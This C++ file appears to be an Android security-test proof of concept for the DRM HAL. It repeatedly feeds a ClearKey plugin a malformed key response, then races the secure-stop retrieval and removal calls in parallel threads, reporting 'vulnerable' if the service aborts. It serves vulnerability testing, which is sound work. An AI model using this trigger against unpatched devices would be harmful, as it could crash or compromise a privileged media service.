1 /**
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <android/hidl/manager/1.0/IServiceManager.h>
17 #include <android/hardware/drm/1.1/IDrmFactory.h>
18 #include <android/hardware/drm/1.1/IDrmPlugin.h>
19 #include <pthread.h>
20 #include <signal.h>
21 #include <utils/Log.h>
22 #include <utils/String8.h>
23 #include <utils/Vector.h>
24
25 #include "../includes/common.h"
26
27 using ::android::sp;
28 using ::android::String8;
29 using ::android::Vector;
30 using ::android::hardware::hidl_string;
31 using ::android::hardware::hidl_vec;
32 using ::android::hardware::drm::V1_0::IDrmFactory;
33 using ::android::hardware::drm::V1_0::IDrmPlugin;
34 using ::android::hardware::drm::V1_0::SecureStop;
35 using ::android::hardware::drm::V1_0::Status;
36 using ::android::hardware::drm::V1_1::SecurityLevel;
37 using ::android::hidl::manager::V1_0::IServiceManager;
38
39 static Vector<uint8_t> sessionId;
40
41 static Vector<sp<IDrmFactory>> drmFactories;
42 static sp<IDrmPlugin> drmPlugin;
43 static sp<::android::hardware::drm::V1_1::IDrmPlugin> drmPluginV1_1;
44
handler(int)45 static void handler(int) {
46 ALOGI("Good, the test condition has been triggered");
47 exit(EXIT_VULNERABLE);
48 }
49
toVector(const hidl_vec<uint8_t> & vec)50 static const Vector<uint8_t> toVector(const hidl_vec<uint8_t> &vec) {
51 Vector<uint8_t> vector;
52 vector.appendArray(vec.data(), vec.size());
53 return *const_cast<const Vector<uint8_t> *>(&vector);
54 }
55
toHidlVec(const Vector<uint8_t> & vector)56 static hidl_vec<uint8_t> toHidlVec(const Vector<uint8_t> &vector) {
57 hidl_vec<uint8_t> vec;
58 vec.setToExternal(const_cast<uint8_t *>(vector.array()), vector.size());
59 return vec;
60 }
61
makeDrmFactories()62 static void makeDrmFactories() {
63 sp<IServiceManager> serviceManager = IServiceManager::getService();
64 if (serviceManager == NULL) {
65 ALOGE("Failed to get service manager");
66 exit(-1);
67 }
68 serviceManager->listByInterface(
69 IDrmFactory::descriptor,
70 [](const hidl_vec<hidl_string> ®istered) {
71 for (const auto &instance : registered) {
72 auto factory = IDrmFactory::getService(instance);
73 if (factory != NULL) {
74 ALOGV("found drm@1.0 IDrmFactory %s", instance.c_str());
75 drmFactories.push_back(factory);
76 }
77 }
78 });
79
80 serviceManager->listByInterface(
81 ::android::hardware::drm::V1_1::IDrmFactory::descriptor,
82 [](const hidl_vec<hidl_string> ®istered) {
83 for (const auto &instance : registered) {
84 auto factory =
85 ::android::hardware::drm::V1_1::IDrmFactory::getService(instance);
86 if (factory != NULL) {
87 ALOGV("found drm@1.1 IDrmFactory %s", instance.c_str());
88 drmFactories.push_back(factory);
89 }
90 }
91 });
92
93 return;
94 }
95
makeDrmPlugin(const sp<IDrmFactory> & factory,const uint8_t uuid[16],const String8 & appPackageName)96 static sp<IDrmPlugin> makeDrmPlugin(const sp<IDrmFactory> &factory,
97 const uint8_t uuid[16],
98 const String8 &appPackageName) {
99 sp<IDrmPlugin> plugin;
100 factory->createPlugin(uuid, appPackageName.string(),
101 [&](Status status, const sp<IDrmPlugin> &hPlugin) {
102 if (status != Status::OK) {
103 return;
104 }
105 plugin = hPlugin;
106 });
107 return plugin;
108 }
109
createPlugin()110 static void createPlugin() {
111 const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
112 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
113 for (size_t i = 0; i < drmFactories.size(); i++) {
114 if (drmFactories[i]->isCryptoSchemeSupported(uuid)) {
115 drmPlugin = makeDrmPlugin(drmFactories[i], uuid, String8("ele7enxxh"));
116 if (drmPlugin != NULL)
117 drmPluginV1_1 =
118 ::android::hardware::drm::V1_1::IDrmPlugin::castFrom(drmPlugin);
119 }
120 }
121
122 if (drmPlugin == NULL) {
123 ALOGE("Failed to create drm plugin");
124 exit(-1);
125 }
126
127 return;
128 }
129
openSession()130 static void openSession() {
131 if (drmPluginV1_1)
132 drmPluginV1_1->openSession_1_1(
133 SecurityLevel::SW_SECURE_CRYPTO,
134 [&](Status status, const hidl_vec<uint8_t> &id) {
135 if (status != Status::OK) {
136 ALOGE("Failed to open session v1_1");
137 exit(-1);
138 }
139 sessionId = toVector(id);
140 });
141 else {
142 drmPlugin->openSession([&](Status status, const hidl_vec<uint8_t> &id) {
143 if (status != Status::OK) {
144 ALOGE("Failed to open session");
145 exit(-1);
146 }
147 sessionId = toVector(id);
148 });
149 }
150
151 return;
152 }
153
provideKeyResponse()154 static void provideKeyResponse() {
155 const char key[] =
156 "{\"keys\":[{\"kty\":\"oct\""
157 "\"alg\":\"A128KW1\"}{\"kty\":\"oct\"\"alg\":\"A128KW2\""
158 "\"k\":\"SGVsbG8gRnJpZW5kIQ\"\"kid\":\"Y2xlYXJrZXlrZXlpZDAy\"}"
159 "{\"kty\":\"oct\"\"alg\":\"A128KW3\""
160 "\"kid\":\"Y2xlYXJrZXlrZXlpZDAz\"\"k\":\"R29vZCBkYXkh\"}]}";
161 Vector<uint8_t> response;
162 response.appendArray((const unsigned char *)key, strlen(key));
163 drmPlugin->provideKeyResponse(toHidlVec(sessionId), toHidlVec(response),
164 [&](Status status, const hidl_vec<uint8_t> &) {
165 if (status != Status::OK) {
166 ALOGE("Failed to provide key response");
167 exit(-1);
168 }
169 });
170
171 return;
172 }
173
getSecureStops(void *)174 static void *getSecureStops(void *) {
175 drmPlugin->getSecureStops([&](Status status, const hidl_vec<SecureStop> &) {
176 if (status != Status::OK) {
177 ALOGE("Failed to get secure stops");
178 exit(-1);
179 }
180 });
181
182 return NULL;
183 }
184
removeAllSecureStops(void *)185 static void *removeAllSecureStops(void *) {
186 if (drmPluginV1_1 != NULL)
187 drmPluginV1_1->removeAllSecureStops();
188 else
189 drmPlugin->releaseAllSecureStops();
190
191 return NULL;
192 }
193
main(void)194 int main(void) {
195 signal(SIGABRT, handler);
196
197 makeDrmFactories();
198
199 createPlugin();
200
201 openSession();
202
203 size_t loop = 1000;
204 while (loop--) provideKeyResponse();
205
206 pthread_t threads[2];
207 pthread_create(&threads[0], NULL, getSecureStops, NULL);
208 pthread_create(&threads[1], NULL, removeAllSecureStops, NULL);
209 pthread_join(threads[0], NULL);
210 pthread_join(threads[1], NULL);
211
212 return 0;
213 }
214